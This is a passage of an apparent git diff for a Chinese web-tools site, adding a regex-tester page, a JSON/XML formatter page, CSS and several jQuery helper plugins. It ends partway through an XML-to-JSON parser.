<li>腾讯QQ号:<strong>[1-9][0-9]{4,} (腾讯QQ号从10000开始)</strong></li>
|
||||
<li>中国邮政编码:<strong>[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)</strong></li>
|
||||
<li>IP地址:<strong>((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)) </strong></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- 模态框(Modal) -->
|
||||
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
|
||||
<div class="modal-dialog">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
|
||||
<h4 class="modal-title" id="myModalLabel">各语言代码参考</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="alert alert-danger" id="alert-message"></div>
|
||||
<div id="languagelist">
|
||||
<h4>JavaScript - JavaScript 正则表达式</a></h4>
|
||||
<pre id="js"></pre>
|
||||
|
||||
<h4>PHP</h4>
|
||||
<pre id="php"></pre>
|
||||
|
||||
<h4>Go</h4>
|
||||
<pre id="go"></pre>
|
||||
|
||||
<h4>JAVA - Java 正则表达式</a></h4>
|
||||
<pre id="java"></pre>
|
||||
|
||||
<h4>Ruby - Ruby 正则表达式</a></h4>
|
||||
<pre id="rb"></pre>
|
||||
|
||||
<h4>Python - Python 正则表达式</a></h4>
|
||||
<pre id="py"></pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div><!-- /.modal-content -->
|
||||
</div><!-- /.modal -->
|
||||
</div>
|
||||
</label>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
function setVisible(idElement, visible) {
|
||||
var obj = document.getElementById(idElement);
|
||||
obj.style.visibility = visible ? "visible" : "hidden";
|
||||
}
|
||||
function isValidFields() {
|
||||
var textSour = document.getElementById("textSour");
|
||||
if (null==textSour.value || textSour.value.length<1) {
|
||||
textSour.focus();
|
||||
$(".alert-danger").html("请输入待匹配文本").show().delay(5000).fadeOut();
|
||||
return false;
|
||||
}
|
||||
var textPattern = document.getElementById("textPattern");
|
||||
if (null==textPattern.value || textPattern.value.length<1) {
|
||||
textPattern.focus();
|
||||
$(".alert-danger").html("请输入正则表达式").show().delay(5000).fadeOut();
|
||||
return false;
|
||||
}
|
||||
$(".alert-danger").hide();
|
||||
return true;
|
||||
}
|
||||
function buildRegex() {
|
||||
var op = "";
|
||||
if (document.getElementById("optionGlobal").checked)op = "g";
|
||||
if (document.getElementById("optionIgnoreCase").checked)op = op + "i";
|
||||
return new RegExp(document.getElementById("textPattern").value, op);
|
||||
}
|
||||
function onMatch() {
|
||||
if (!isValidFields())
|
||||
return false;
|
||||
document.getElementById("textMatchResult").value = "";
|
||||
var regex = buildRegex();
|
||||
var result = document.getElementById("textSour").value.match(regex);
|
||||
if (null==result || 0==result.length) {
|
||||
document.getElementById("textMatchResult").value = "(没有匹配)";
|
||||
return false;
|
||||
}
|
||||
if (document.getElementById("optionGlobal").checked) {
|
||||
var strResult = "共找到 " + result.length + " 处匹配:\r\n";
|
||||
for (var i=0;i < result.length;++i)strResult = strResult + result[i] + "\r\n";
|
||||
document.getElementById("textMatchResult").value = strResult;
|
||||
}
|
||||
else {
|
||||
document.getElementById("textMatchResult").value= "匹配位置:" + regex.lastIndex + "\r\n匹配结果:" + result[0];
|
||||
}
|
||||
return true;
|
||||
}
|
||||
function onReplace() {
|
||||
var str = document.getElementById("textSour").value;
|
||||
var regex = buildRegex();
|
||||
document.getElementById("textReplaceResult").value= str.replace(regex, document.getElementById("textReplace").value);
|
||||
}
|
||||
function reset(){
|
||||
$("#textSour").val("");
|
||||
$("#textPattern").val("");
|
||||
$("#textMatchResult").val("");
|
||||
$("#textReplace").val("");
|
||||
$("#textReplaceResult").val("");
|
||||
}
|
||||
String.prototype.format = function (args) {
|
||||
if (arguments.length > 0) {
|
||||
var result = this;
|
||||
if (arguments.length == 1 && typeof (args) == "object") {
|
||||
for (var key in args) {
|
||||
var reg = new RegExp("({" + key + "})", "g");
|
||||
result = result.replace(reg, args[key]);
|
||||
}
|
||||
}
|
||||
else {
|
||||
for (var i = 0; i < arguments.length; i++) {
|
||||
if (arguments[i] == undefined) {
|
||||
result = result.replace(reg, arguments[i]);
|
||||
}
|
||||
else {
|
||||
var reg = new RegExp('\\{' + i + '\\}', 'gm'); ;
|
||||
result = result.replace(reg, arguments[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
else {
|
||||
return this;
|
||||
}
|
||||
}
|
||||
var languageCode = {
|
||||
js: "var pattern = /{0}/,\n\tstr = '{1}';\nconsole.log(pattern.test(str));",
|
||||
php: "$str = '{1}';\n$isMatched = preg_match('/{0}/', $str, $matches);\nvar_dump($isMatched, $matches);",
|
||||
py: "import re\npattern = re.compile(ur'{0}')\nstr = u'{1}'\nprint(pattern.search(str))",
|
||||
java: "import java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class RegexMatches {\n\t\n\tpublic static void main(String args[]) {\n\t\tString str = \"{1}\";\n\t\tString pattern = \"{0}\";\n\n\t\tPattern r = Pattern.compile(pattern);\n\t\tMatcher m = r.matcher(str);\n\t\tSystem.out.println(m.matches());\n\t}\n\n}",
|
||||
go: "package main\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n)\n\nfunc main() {\n\tstr := \"{1}\"\n\tmatched, err := regexp.MatchString(\"{0}\", str)\n\tfmt.Println(matched, err)\n}",
|
||||
rb: "pattern = /{0}/\nstr = '{1}'\np pattern.match(str)"
|
||||
};
|
||||
$(document).ready(function (){
|
||||
$("#right_area li a").click(function (){
|
||||
$("#textPattern").val($(this).attr("title"));
|
||||
onMatch();
|
||||
});
|
||||
$('#myModal').on('show.bs.modal', function () {
|
||||
|
||||
|
||||
var pattern = $("#textPattern").val();
|
||||
if (!pattern) {
|
||||
$("#alert-message").html("你还没输入正则表达式").show();
|
||||
} else {
|
||||
$("#alert-message").hide();
|
||||
}
|
||||
var prelist = $("#languagelist pre");
|
||||
for (var i = 0; i < prelist.length; i++) {
|
||||
var pre = $(prelist[i]);
|
||||
var language = pre.attr("id");
|
||||
if (language == 'go' || language == 'java') {
|
||||
pattern2 = pattern.replace(/\\/gi, "\\\\");
|
||||
pre.html(languageCode[language].format(pattern2, ""));
|
||||
} else {
|
||||
pre.html(languageCode[language].format(pattern, ""));
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,124 @@
|
|||
<?php
|
||||
$id = '45';
|
||||
include '../../header.php';
|
||||
?>
|
||||
<link href="res/base.css" rel="stylesheet">
|
||||
|
||||
<header class="header">
|
||||
|
||||
</header>
|
||||
|
||||
<main class="row-fluid">
|
||||
<div class="col-md-5" style="padding:0;">
|
||||
<textarea id="json-src" placeholder="在此输入json字符串或XML字符串..." class="form-control adapter_height form-control" style="padding:20px;border:0;border-right:solid 1px #ddd;border-bottom:solid 1px #ddd;border-radius:0;resize: none; outline:none;">
|
||||
{"code":"1","state":200}</textarea>
|
||||
</div>
|
||||
<div class="col-md-7" style="padding:0;">
|
||||
<div style="padding:7px;font-size:16px;border-bottom:solid 1px #ddd;" class="navi">
|
||||
<a href="#" class="zip" title="压缩" data-placement="bottom"><i class="fa fa-database"></i></a>
|
||||
<a href="#" class="xml" title="转XML" data-placement="bottom"><i class="fa fa-file-excel-o"></i></a>
|
||||
<a href="#" class="" style="color:#15b374;cursor:no-drop;" title="染色" data-placement="bottom"><i class="fa fa-flask"></i></a>
|
||||
<a href="#" class="clear" title="清空" data-placement="bottom"><i class="fa fa-trash"></i></a>
|
||||
</div>
|
||||
<div id="json-target" class="adapter_height form-control" style="padding:20px;border-right:solid 1px #ddd;border-bottom:solid 1px #ddd;border-radius:0;resize: none;overflow-y:scroll; outline:none;">
|
||||
</div>
|
||||
<form id="form-save" method="POST"><input type="hidden" value="" id="txt-content" name="content"></form>
|
||||
</div>
|
||||
</main>
|
||||
<script src="res/jquery.json.js"></script>
|
||||
<script src="res/jquery.xml2json.js"></script>
|
||||
<script src="res/jquery.json2xml.js"></script>
|
||||
<script src="http://cdn.bootcss.com/json2/20150503/json2.min.js"></script>
|
||||
<script src="http://cdn.bootcss.com/jsonlint/1.6.0/jsonlint.min.js"></script>
|
||||
<script type="text/javascript">
|
||||
var current_json = '';
|
||||
var current_json_str = '';
|
||||
var xml_flag = false;
|
||||
var zip_flag = false;
|
||||
function init(){
|
||||
xml_flag = false;
|
||||
zip_flag = false;
|
||||
$('.xml').attr('style','color:#999;');
|
||||
$('.zip').attr('style','color:#999;');
|
||||
}
|
||||
$('#json-src').keyup(function(){
|
||||
init();
|
||||
var content = $.trim($(this).val());
|
||||
var result = '';
|
||||
if (content!='') {
|
||||
//如果是xml,那么转换为json
|
||||
if (content.substr(0,1) === '<' && content.substr(-1,1) === '>') {
|
||||
try{
|
||||
var json_obj = $.xml2json(content);
|
||||
content = JSON.stringify(json_obj);
|
||||
}catch(e){
|
||||
result = '解析错误:<span style="color: #f1592a;font-weight:bold;">' + e.message + '</span>';
|
||||
current_json_str = result;
|
||||
$('#json-target').html(result);
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
try{
|
||||
current_json = jsonlint.parse(content);
|
||||
current_json_str = JSON.stringify(current_json);
|
||||
//current_json = JSON.parse(content);
|
||||
result = new JSONFormat(content,4).toString();
|
||||
}catch(e){
|
||||
result = '<span style="color: #f1592a;font-weight:bold;">' + e + '</span>';
|
||||
current_json_str = result;
|
||||
}
|
||||
|
||||
$('#json-target').html(result);
|
||||
}else{
|
||||
$('#json-target').html('');
|
||||
}
|
||||
|
||||
});
|
||||
$('.xml').click(function(){
|
||||
if (xml_flag) {
|
||||
$('#json-src').keyup();
|
||||
}else{
|
||||
var result = $.json2xml(current_json);
|
||||
$('#json-target').html('<textarea style="width:100%;height:100%;border:0;resize:none;">'+result+'</textarea>');
|
||||
xml_flag = true;
|
||||
$(this).attr('style','color:#15b374;');
|
||||
}
|
||||
|
||||
});
|
||||
$('.zip').click(function(){
|
||||
if (zip_flag) {
|
||||
$('#json-src').keyup();
|
||||
}else{
|
||||
$('#json-target').html(current_json_str);
|
||||
zip_flag = true;
|
||||
$(this).attr('style','color:#15b374;');
|
||||
}
|
||||
|
||||
});
|
||||
$('.clear').click(function(){
|
||||
$('#json-src').val('');
|
||||
$('#json-target').html('');
|
||||
});
|
||||
$('.save').click(function(){
|
||||
var content = JSON.stringify(current_json);
|
||||
$('#txt-content').val(content);
|
||||
$("#form-save").submit();
|
||||
});
|
||||
$('#json-src').keyup();
|
||||
|
||||
function getWinHeight() {
|
||||
var winHeight = 0;
|
||||
if (window.innerHeight)
|
||||
winHeight = window.innerHeight;
|
||||
else if ((document.body) && (document.body.clientHeight))
|
||||
winHeight = document.body.clientHeight;
|
||||
return winHeight;
|
||||
}
|
||||
$(window).resize(function() {
|
||||
$('#json-src').css('height', getWinHeight() - 117);
|
||||
$('#json-target').css('height', getWinHeight() - 160);
|
||||
});
|
||||
$(window).resize();
|
||||
</script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,53 @@
|
|||
body{
|
||||
font-family:Menlo,Monaco,Consolas,"Helvetica Neue",Helvetica,"Courier New",'微软雅黑', monospace, Arial,sans-serif,'黑体';
|
||||
color: #555;
|
||||
}
|
||||
a{
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
font-family: Menlo,Monaco,Consolas,'微软雅黑';
|
||||
color: #29abe2;
|
||||
}
|
||||
.green{
|
||||
color:#0fd59d;
|
||||
}
|
||||
.red{
|
||||
color:#f98280;
|
||||
}
|
||||
.blue{
|
||||
color:#29abe2;
|
||||
}
|
||||
input:focus, textarea:focus {
|
||||
outline: none;
|
||||
}
|
||||
a:hover{
|
||||
text-decoration: none;
|
||||
color: #15b374;
|
||||
}
|
||||
.label-success{
|
||||
background-color: #0fd59d;
|
||||
}
|
||||
.header{
|
||||
box-shadow: 0px 0px 1px #e5e5e5;
|
||||
border-bottom: solid 1px #d5d5d5;
|
||||
padding: 0px;
|
||||
}
|
||||
.logo{
|
||||
text-decoration: none;
|
||||
font-weight: bold;
|
||||
font-size: 24px;
|
||||
color: #0fd59d;
|
||||
padding: 10px;
|
||||
}
|
||||
.navi{
|
||||
padding:5px 20px;
|
||||
font-size:14px;
|
||||
font-weight:bold;font-family:Menlo,Monaco,Consolas,"Courier New",monospace, "Helvetica Neue",Helvetica,Arial,sans-serif,'幼圆'
|
||||
}
|
||||
.navi a{
|
||||
padding: 0px 20px;
|
||||
color: #999;
|
||||
}
|
||||
.navi a:hover{
|
||||
color: #15b374;
|
||||
}
|
|
@ -0,0 +1,148 @@
|
|||
/*!
|
||||
* jQuery Json Plugin (with Transition Definitions)
|
||||
* Examples and documentation at: http://json.cn/
|
||||
* Copyright (c) 2012-2013 China.Ren.
|
||||
* Version: 1.0.2 (19-OCT-2013)
|
||||
* Dual licensed under the MIT and GPL licenses.
|
||||
* http://jquery.malsup.com/license.html
|
||||
* Requires: jQuery v1.3.1 or later
|
||||
*/
|
||||
var JSONFormat = (function(){
|
||||
var _toString = Object.prototype.toString;
|
||||
|
||||
function format(object, indent_count){
|
||||
var html_fragment = '';
|
||||
switch(_typeof(object)){
|
||||
case 'Null' :0
|
||||
html_fragment = _format_null(object);
|
||||
break;
|
||||
case 'Boolean' :
|
||||
html_fragment = _format_boolean(object);
|
||||
break;
|
||||
case 'Number' :
|
||||
html_fragment = _format_number(object);
|
||||
break;
|
||||
case 'String' :
|
||||
html_fragment = _format_string(object);
|
||||
break;
|
||||
case 'Array' :
|
||||
html_fragment = _format_array(object, indent_count);
|
||||
break;
|
||||
case 'Object' :
|
||||
html_fragment = _format_object(object, indent_count);
|
||||
break;
|
||||
}
|
||||
return html_fragment;
|
||||
};
|
||||
|
||||
function _format_null(object){
|
||||
return '<span class="json_null">null</span>';
|
||||
}
|
||||
|
||||
function _format_boolean(object){
|
||||
return '<span class="json_boolean">' + object + '</span>';
|
||||
}
|
||||
|
||||
function _format_number(object){
|
||||
return '<span class="json_number">' + object + '</span>';
|
||||
}
|
||||
|
||||
function _format_string(object){
|
||||
object = object.replace(/\</g,"<");
|
||||
object = object.replace(/\>/g,">");
|
||||
if(0 <= object.search(/^http/)){
|
||||
object = '<a href="' + object + '" target="_blank" class="json_link">' + object + '</a>'
|
||||
}
|
||||
return '<span class="json_string">"' + object + '"</span>';
|
||||
}
|
||||
|
||||
function _format_array(object, indent_count){
|
||||
var tmp_array = [];
|
||||
for(var i = 0, size = object.length; i < size; ++i){
|
||||
tmp_array.push(indent_tab(indent_count) + format(object[i], indent_count + 1));
|
||||
}
|
||||
return '<span data-type="array" data-size="' + tmp_array.length + '"><i style="cursor:pointer;" class="fa fa-minus-square-o" onclick="hide(this)"></i>[<br/>'
|
||||
+ tmp_array.join(',<br/>')
|
||||
+ '<br/>' + indent_tab(indent_count - 1) + ']</span>';
|
||||
}
|
||||
|
||||
function _format_object(object, indent_count){
|
||||
var tmp_array = [];
|
||||
for(var key in object){
|
||||
tmp_array.push( indent_tab(indent_count) + '<span class="json_key">"' + key + '"</span>:' + format(object[key], indent_count + 1));
|
||||
}
|
||||
return '<span data-type="object"><i style="cursor:pointer;" class="fa fa-minus-square-o" onclick="hide(this)"></i>{<br/>'
|
||||
+ tmp_array.join(',<br/>')
|
||||
+ '<br/>' + indent_tab(indent_count - 1) + '}</span>';
|
||||
}
|
||||
|
||||
function indent_tab(indent_count){
|
||||
return (new Array(indent_count + 1)).join(' ');
|
||||
}
|
||||
|
||||
function _typeof(object){
|
||||
var tf = typeof object,
|
||||
ts = _toString.call(object);
|
||||
return null === object ? 'Null' :
|
||||
'undefined' == tf ? 'Undefined' :
|
||||
'boolean' == tf ? 'Boolean' :
|
||||
'number' == tf ? 'Number' :
|
||||
'string' == tf ? 'String' :
|
||||
'[object Function]' == ts ? 'Function' :
|
||||
'[object Array]' == ts ? 'Array' :
|
||||
'[object Date]' == ts ? 'Date' : 'Object';
|
||||
};
|
||||
|
||||
function loadCssString(){
|
||||
var style = document.createElement('style');
|
||||
style.type = 'text/css';
|
||||
var code = Array.prototype.slice.apply(arguments).join('');
|
||||
try{
|
||||
style.appendChild(document.createTextNode(code));
|
||||
}catch(ex){
|
||||
style.styleSheet.cssText = code;
|
||||
}
|
||||
document.getElementsByTagName('head')[0].appendChild(style);
|
||||
}
|
||||
|
||||
loadCssString(
|
||||
'.json_key{ color: #92278f;font-weight:bold;}',
|
||||
'.json_null{color: #f1592a;font-weight:bold;}',
|
||||
'.json_string{ color: #3ab54a;font-weight:bold;}',
|
||||
'.json_number{ color: #25aae2;font-weight:bold;}',
|
||||
'.json_link{ color: #717171;font-weight:bold;}',
|
||||
'.json_array_brackets{}');
|
||||
|
||||
var _JSONFormat = function(origin_data){
|
||||
//this.data = origin_data ? origin_data :
|
||||
//JSON && JSON.parse ? JSON.parse(origin_data) : eval('(' + origin_data + ')');
|
||||
this.data = JSON.parse(origin_data);
|
||||
};
|
||||
|
||||
_JSONFormat.prototype = {
|
||||
constructor : JSONFormat,
|
||||
toString : function(){
|
||||
return format(this.data, 1);
|
||||
}
|
||||
}
|
||||
|
||||
return _JSONFormat;
|
||||
|
||||
})();
|
||||
var last_html = '';
|
||||
function hide(obj){
|
||||
var data_type = obj.parentNode.getAttribute('data-type');
|
||||
var data_size = obj.parentNode.getAttribute('data-size');
|
||||
obj.parentNode.setAttribute('data-inner',obj.parentNode.innerHTML);
|
||||
if (data_type === 'array') {
|
||||
obj.parentNode.innerHTML = '<i style="cursor:pointer;" class="fa fa-plus-square-o" onclick="show(this)"></i>Array[<span class="json_number">' + data_size + '</span>]';
|
||||
}else{
|
||||
obj.parentNode.innerHTML = '<i style="cursor:pointer;" class="fa fa-plus-square-o" onclick="show(this)"></i>Object{...}';
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function show(obj){
|
||||
var innerHtml = obj.parentNode.getAttribute('data-inner');
|
||||
obj.parentNode.innerHTML = innerHtml;
|
||||
}
|
|
@ -0,0 +1,206 @@
|
|||
/**
|
||||
* JSON to XML jQuery plugin. Provides quick way to convert JSON object to XML
|
||||
* string. To some extent, allows control over XML output.
|
||||
* Just as jQuery itself, this plugin is released under both MIT & GPL licences.
|
||||
*
|
||||
* @version 1.02
|
||||
* @author Micha Korecki, www.michalkorecki.com
|
||||
*/
|
||||
(function($) {
|
||||
/**
|
||||
* Converts JSON object to XML string.
|
||||
*
|
||||
* @param json object to convert
|
||||
* @param options additional parameters
|
||||
* @return XML string
|
||||
*/
|
||||
$.json2xml = function(json, options) {
|
||||
settings = {};
|
||||
settings = $.extend(true, settings, defaultSettings, options || { });
|
||||
return '<?xml version="1.0" encoding="UTF-8"?>'+convertToXml(json, settings.rootTagName, '', 0);
|
||||
};
|
||||
|
||||
var defaultSettings = {
|
||||
formatOutput: true,
|
||||
formatTextNodes: false,
|
||||
indentString: ' ',
|
||||
rootTagName: 'root',
|
||||
ignore: [],
|
||||
replace: [],
|
||||
nodes: [],
|
||||
///TODO: exceptions system
|
||||
exceptions: []
|
||||
};
|
||||
|
||||
/**
|
||||
* This is actual settings object used throught plugin, default settings
|
||||
* are stored separately to prevent overriding when using multiple times.
|
||||
*/
|
||||
var settings = {};
|
||||
|
||||
/**
|
||||
* Core function parsing JSON to XML. It iterates over object properties and
|
||||
* creates XML attributes appended to main tag, if property is primitive
|
||||
* value (eg. string, number).
|
||||
* Otherwise, if it's array or object, new node is created and appened to
|
||||
* parent tag.
|
||||
* You can alter this behaviour by providing values in settings.ignore,
|
||||
* settings.replace and settings.nodes arrays.
|
||||
*
|
||||
* @param json object to parse
|
||||
* @param tagName name of tag created for parsed object
|
||||
* @param parentPath path to properly identify elements in ignore, replace
|
||||
* and nodes arrays
|
||||
* @param depth current element's depth
|
||||
* @return XML string
|
||||
*/
|
||||
var convertToXml = function(json, tagName, parentPath, depth) {
|
||||
var suffix = (settings.formatOutput) ? '\r\n' : '';
|
||||
var indent = (settings.formatOutput) ? getIndent(depth) : '';
|
||||
var xmlTag = indent + '<' + tagName;
|
||||
var children = '';
|
||||
|
||||
for (var key in json) {
|
||||
if (json.hasOwnProperty(key)) {
|
||||
var propertyPath = parentPath + key;
|
||||
var propertyName = getPropertyName(parentPath, key);
|
||||
// element not in ignore array, process
|
||||
if ($.inArray(propertyPath, settings.ignore) == -1) {
|
||||
// array, create new child element
|
||||
if ($.isArray(json[key])) {
|
||||
children += createNodeFromArray(json[key], propertyName,
|
||||
propertyPath + '.', depth + 1, suffix);
|
||||
}
|
||||
// object, new child element aswell
|
||||
else if (typeof(json[key]) === 'object') {
|
||||
children += convertToXml(json[key], propertyName,
|
||||
propertyPath + '.', depth + 1);
|
||||
}
|
||||
// primitive value property as attribute
|
||||
else {
|
||||
// unless it's explicitly defined it should be node
|
||||
if ( propertyName.indexOf('@')==-1) {
|
||||
children += createTextNode(propertyName, json[key],
|
||||
depth, suffix);
|
||||
}
|
||||
else {
|
||||
propertyName = propertyName.replace('@','');
|
||||
xmlTag += ' ' + propertyName + '="' + json[key] + '"';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// close tag properly
|
||||
if (children !== '') {
|
||||
xmlTag += '>' + suffix + children + indent + '</' + tagName + '>' + suffix;
|
||||
}
|
||||
else {
|
||||
xmlTag += '/>' + suffix;
|
||||
}
|
||||
return xmlTag;
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* Creates indent string for provided depth value. See settings for details.
|
||||
*
|
||||
* @param depth
|
||||
* @return indent string
|
||||
*/
|
||||
var getIndent = function(depth) {
|
||||
var output = '';
|
||||
for (var i = 0; i < depth; i++) {
|
||||
output += settings.indentString;
|
||||
}
|
||||
return output;
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* Checks settings.replace array for provided name, if it exists returns
|
||||
* replacement name. Else, original name is returned.
|
||||
*
|
||||
* @param parentPath path to this element's parent
|
||||
* @param name name of element to look up
|
||||
* @return element's final name
|
||||
*/
|
||||
var getPropertyName = function(parentPath, name) {
|
||||
var index = settings.replace.length;
|
||||
var searchName = parentPath + name;
|
||||
while (index--) {
|
||||
// settings.replace array consists of {original : replacement}
|
||||
// objects
|
||||
if (settings.replace[index].hasOwnProperty(searchName)) {
|
||||
return settings.replace[index][searchName];
|
||||
}
|
||||
}
|
||||
return name;
|
||||
};
|
||||
|
||||
/**
|
||||
* Creates XML node from javascript array object.
|
||||
*
|
||||
* @param source
|
||||
* @param name XML element name
|
||||
* @param path parent element path string
|
||||
* @param depth
|
||||
* @param suffix node suffix (whether to format output or not)
|
||||
* @return XML tag string for provided array
|
||||
*/
|
||||
var createNodeFromArray = function(source, name, path, depth, suffix) {
|
||||
var xmlNode = '';
|
||||
if (source.length > 0) {
|
||||
for (var index in source) {
|
||||
// array's element isn't object - it's primitive value, which
|
||||
// means array might need to be converted to text nodes
|
||||
if (typeof(source[index]) !== 'object') {
|
||||
// empty strings will be converted to empty nodes
|
||||
if (source[index] === "") {
|
||||
xmlNode += getIndent(depth) + '<' + name + '/>' + suffix;
|
||||
}
|
||||
else {
|
||||
var textPrefix = (settings.formatTextNodes)
|
||||
? suffix + getIndent(depth + 1) : '';
|
||||
var textSuffix = (settings.formatTextNodes)
|
||||
? suffix + getIndent(depth) : '';
|
||||
xmlNode += getIndent(depth) + '<' + name + '>'
|
||||
+ textPrefix + source[index] + textSuffix
|
||||
+ '</' + name + '>' + suffix;
|
||||
}
|
||||
}
|
||||
// else regular conversion applies
|
||||
else {
|
||||
xmlNode += convertToXml(source[index], name, path, depth);
|
||||
}
|
||||
}
|
||||
}
|
||||
// array is empty, also creating empty XML node
|
||||
else {
|
||||
xmlNode += getIndent(depth) + '<' + name + '/>' + suffix;
|
||||
}
|
||||
return xmlNode;
|
||||
};
|
||||
|
||||
/**
|
||||
* Creates node containing text only.
|
||||
*
|
||||
* @param name node's name
|
||||
* @param text node text string
|
||||
* @param parentDepth this node's parent element depth
|
||||
* @param suffix node suffix (whether to format output or not)
|
||||
* @return XML tag string
|
||||
*/
|
||||
var createTextNode = function(name, text, parentDepth, suffix) {
|
||||
// unformatted text node: <node>value</node>
|
||||
// formatting includes value indentation and new lines
|
||||
var textPrefix = (settings.formatTextNodes)
|
||||
? suffix + getIndent(parentDepth + 2) : '';
|
||||
var textSuffix = (settings.formatTextNodes)
|
||||
? suffix + getIndent(parentDepth + 1) : '';
|
||||
var xmlNode = getIndent(parentDepth + 1) + '<' + name + '>'
|
||||
+ textPrefix + text + textSuffix
|
||||
+ '</' + name + '>' + suffix;
|
||||
return xmlNode;
|
||||
};
|
||||
})(jQuery);
|
|
@ -0,0 +1,61 @@
|
|||
/*!
|
||||
* jQuery Message Plugin (with Transition Definitions)
|
||||
* Examples and documentation at: http://eadmarket.com/
|
||||
* Copyright (c) 2012-2013 China.Ren.
|
||||
* Version: 1.0.2 (19-OCT-2013)
|
||||
* Dual licensed under the MIT and GPL licenses.
|
||||
* http://jquery.malsup.com/license.html
|
||||
* Requires: jQuery v1.3.1 or later
|
||||
*/
|
||||
var container=$('#jquery-beauty-msg');
|
||||
if(container.length<=0){
|
||||
$("body").append('<div style="clear:both;"></div><div id="jquery-beauty-msg"></div>');
|
||||
container=$('#jquery-beauty-msg');
|
||||
}
|
||||
var containerStyle='color:#e1282b;font-family:"微软雅黑";font-weight:bold;font-size:20px;text-shadow:5px 5px 10px #bbb;'
|
||||
+'text-align:center;margin:0;padding-top:20%;width:100%;word-break:break-all;z-index:100000;';
|
||||
var closeFlag=false;
|
||||
var timer=0;
|
||||
var msgContent='';
|
||||
$.msg=function(txt,style,obj,delay){
|
||||
msgContent=txt;
|
||||
|
||||
if(obj!="undefined"&&obj!=null){
|
||||
containerStyle+='position:relative;top:'+$(obj).attr('top')+';left:'+$(obj).attr('left')+';';
|
||||
}
|
||||
else{
|
||||
containerStyle+='position:fixed;top:0;left:0;';
|
||||
$(container).attr('style',containerStyle+style);
|
||||
$(container).html(msgContent);
|
||||
$(container).fadeIn(300,function(){
|
||||
$(container).animate({fontSize:'40px'},'300');
|
||||
$(container).delay(1000).fadeOut();
|
||||
});
|
||||
}
|
||||
}
|
||||
function addDot(){
|
||||
msgContent=msgContent+".";
|
||||
$(container).html(msgContent);
|
||||
timer=timer+1;
|
||||
if(!closeFlag&&timer>=5){
|
||||
$(container).html("操作超时!");
|
||||
window.clearInterval();
|
||||
}
|
||||
}
|
||||
$.loading=function(txt,action){
|
||||
msgContent=txt;
|
||||
containerStyle+='position:fixed;top:0;left:0;';
|
||||
$(container).attr('style',containerStyle+"color:blue;");
|
||||
$(container).html(msgContent);
|
||||
if(action!="close"){
|
||||
$(container).fadeIn(300,function(){
|
||||
$(container).animate({fontSize:'40px'},'300');
|
||||
});
|
||||
window.setInterval("addDot",1000);
|
||||
|
||||
}else{
|
||||
window.clearInterval();
|
||||
closeFlag=true;
|
||||
$(container).fadeOut();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,193 @@
|
|||
/*
|
||||
### jQuery XML to JSON Plugin v1.3 - 2013-02-18 ###
|
||||
* http://www.fyneworks.com/ - diego@fyneworks.com
|
||||
* Licensed under http://en.wikipedia.org/wiki/MIT_License
|
||||
###
|
||||
Website: http://www.fyneworks.com/jquery/xml-to-json/
|
||||
*//*
|
||||
# INSPIRED BY: http://www.terracoder.com/
|
||||
AND: http://www.thomasfrank.se/xml_to_json.html
|
||||
AND: http://www.kawa.net/works/js/xml/objtree-e.html
|
||||
*//*
|
||||
This simple script converts XML (document of code) into a JSON object. It is the combination of 2
|
||||
'xml to json' great parsers (see below) which allows for both 'simple' and 'extended' parsing modes.
|
||||
*/
|
||||
// Avoid collisions
|
||||
;if(window.jQuery) (function($){
|
||||
|
||||
// Add function to jQuery namespace
|
||||
$.extend({
|
||||
|
||||
// converts xml documents and xml text to json object
|
||||
xml2json: function(xml, extended) {
|
||||
if(!xml) return {}; // quick fail
|
||||
|
||||
//### PARSER LIBRARY
|
||||
// Core function
|
||||
function parseXML(node, simple){
|
||||
if(!node) return null;
|
||||
var txt = '', obj = null, att = null;
|
||||
var nt = node.nodeType, nn = jsVar(node.localName || node.nodeName);
|
||||
var nv = node.text || node.nodeValue || '';
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,nt,nv.length+' bytes']);
|
||||
if(node.childNodes){
|
||||
if(node.childNodes.length>0){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'CHILDREN',node.childNodes]);
|
||||
$.each(node.childNodes, function(n,cn){
|
||||
var cnt = cn.nodeType, cnn = jsVar(cn.localName || cn.nodeName);
|
||||
var cnv = cn.text || cn.nodeValue || '';
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>a',cnn,cnt,cnv]);
|
||||
if(cnt == 8){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>b',cnn,'COMMENT (ignore)']);
|
||||
return; // ignore comment node
|
||||
}
|
||||
else if(cnt == 3 || cnt == 4 || !cnn){
|
||||
// ignore white-space in between tags
|
||||
if(cnv.match(/^\s+$/)){
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>c',cnn,'WHITE-SPACE (ignore)']);
|
||||
return;
|
||||
};
|
||||
/*DBG*/ //if(window.console) console.log(['x2j',nn,'node>d',cnn,'TEXT']);
|
||||
